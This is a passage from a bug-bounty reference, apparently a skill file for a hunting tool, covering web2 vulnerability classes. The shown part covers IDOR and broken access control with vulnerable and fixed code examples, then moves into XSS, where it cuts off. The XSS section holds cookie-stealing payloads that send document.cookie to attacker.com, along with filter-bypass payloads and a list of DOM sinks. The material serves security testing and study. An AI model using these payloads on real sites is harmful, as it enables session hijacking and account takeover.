/web2-vuln-classes

name: web2-vuln-classes
description: Complete reference for 26 web2 bug classes with root causes, detection patterns, bypass tables, exploit techniques, and real paid examples. Covers IDOR, auth bypass, XSS (postMessage), SSRF (11 IP bypass techniques), SQLi, business logic, race conditions, OAuth/OIDC, file upload (10 bypass techniques), GraphQL, LLM/AI (ASI01-ASI10, MCP/RAG attacks), API misconfig (mass assignment, JWT, prototype pollution, CORS), ATO (9 paths), SSTI, subdomain takeover, cloud misconfig, HTTP smuggling, cache poisoning, MFA bypass (7 patterns), SAML attacks, error disclosure, CSS injection, LFI/RCE, insecure deserialization, dependency confusion, padding oracle. Use when hunting a specific vuln class or studying what makes bugs pay.

WEB2 BUG CLASSES — 26 Classes

Root cause, pattern, bypass table, chaining opportunity, real paid examples.

> **Auth-required classes** (🔐): the ones below need **at least one logged-in > session** loaded into the hunt to be testable. Use `hunt.py --auth-file > .private/T.json` or `--cookie/--bearer` flags — every recon/scan tool then > inherits the headers automatically. For IDOR/BOLA/priv-esc, load **two > sessions** (low- and high-priv) and diff. See `docs/auth-sessions.md`. > > 🔐 IDOR · Broken Auth/Access Control · Mass Assignment · OAuth/OIDC · JWT · > GraphQL field-level auth · LLM/AI chatbot IDOR · MFA (rate-limit + response > manipulation tests) · ATO chains · SSRF behind login > > The MFA workflow-skip and SAML signature-stripping probes intentionally > stay **unauthenticated** even when a session is loaded — that's the > attack premise.

---

1. IDOR — INSECURE DIRECT OBJECT REFERENCE 🔐

> #1 most paid web2 class — 30% of all submissions that get paid. > **Needs two sessions** (A=attacker, B=victim) — load both via `--auth-file` > and diff audit-log `session_id` hashes to confirm cross-tenant access.

Root Cause

# VULNERABLE — no ownership check
@app.route('/api/orders/<order_id>')
def get_order(order_id):
    order = db.query("SELECT * FROM orders WHERE id = ?", order_id)
    return jsonify(order)  # Never checks if order belongs to current user!

# SECURE
@app.route('/api/orders/<order_id>')
def get_order(order_id):
    order = db.query("SELECT * FROM orders WHERE id = ? AND user_id = ?",
                     order_id, current_user.id)

Variants

• **V1:** Numeric ID swap — `/api/user/123/profile` → change to 124
• **V2:** UUID swap — enumerate UUID via email invite or other endpoint
• **V3:** Indirect IDOR — `POST /api/export?report_id=456` exports another user's report
• **V4:** Parameter add — `?user_id=other` makes backend use it
• **V5:** HTTP method swap — PUT protected, DELETE not
• **V6:** Old API version — `/v1/users/123` lacks auth that `/v2/` has
• **V7:** GraphQL node — `{ node(id: "base64(User:456)") { email } }`
• **V8:** WebSocket — WS sends `{"action":"get_history","userId":"client-generated-UUID"}`

Testing Checklist

[ ] Two accounts (A=attacker, B=victim)
[ ] Log in as A, perform all actions, note all IDs
[ ] Replay A's requests with A's token but B's IDs
[ ] Test EVERY HTTP method (GET, PUT, DELETE, PATCH)
[ ] Check API v1 vs v2
[ ] Check GraphQL node() queries
[ ] Check WebSocket messages for client-supplied IDs

IDOR Chain Escalation

• IDOR + Read PII = Medium
• IDOR + Write (modify other's data) = High
• IDOR + Admin endpoint = Critical (privilege escalation)
• IDOR + Account takeover path = Critical
• IDOR + Chatbot reads other user's data = High

---

2. BROKEN AUTH / ACCESS CONTROL 🔐

> #2 most paid class. The sibling function rule: if 9 endpoints have auth, the 10th that doesn't is your bug. > **Needs auth loaded** — you're testing which sibling routes a logged-in > user can reach that shouldn't be reachable. Compare authed responses > against the same paths hit anonymously.

The Sibling Rule

/api/admin/users  → has auth middleware
/api/admin/export → often MISSING it
/api/admin/delete → often MISSING it
/api/admin/reset  → often MISSING it

Patterns

// Missing middleware on sibling
router.get('/admin/users', authenticate, authorize('admin'), getUsers);
router.get('/admin/export', getExport);  // No middleware!

// Client-side role check only
if (user.role === 'admin') showAdminButton();
// Backend: app.post('/api/admin/delete', deleteUser); // no server check!

Real Paid Examples

• **HackerOne TrustHub**: `POST /graphql` with `TrustHubQuery` — no auth, regular user reads all vendors (CVSS 8.7 High)
• **Vienna Chatbot**: WebSocket `get_history` accepts arbitrary UUID — no ownership check (P2)

---

3. XSS — CROSS-SITE SCRIPTING

Stored XSS (highest impact)

Input: "<script>document.location='https://attacker.com/c?c='+document.cookie</script>"
Any user viewing page executes attacker JS → cookie theft → session hijack

DOM XSS Sinks (grep for these)

innerHTML = userInput           // HIGH RISK
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...)      // string form
element.src = userInput         // JavaScript URI possible
location.href = userInput

> **postMessage is a DOM XSS source** — same sinks above (innerHTML, eval, etc.) become reachable when fed by `addEventListener("message", ...)` without proper `event.origin` validation. See **postMessage Testing** below.

XSS Bypass Techniques

// CSP bypass — unsafe-inline blocked
<img src=x onerror="fetch('https://attacker.com?d='+btoa(document.cookie))">
// Angular template injection
{{constructor.constructor('alert(1)')()}}
// mXSS — mutation-based
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

XSS Chains (escalate to High/Critical)

• XSS + sensitive page (banking/admin) = High
• XSS + CSRF token theft = CSRF bypass on critical action
• XSS + service worker = persistent XSS across pages
• XSS + credential theft via fake login form = ATO
• **No JS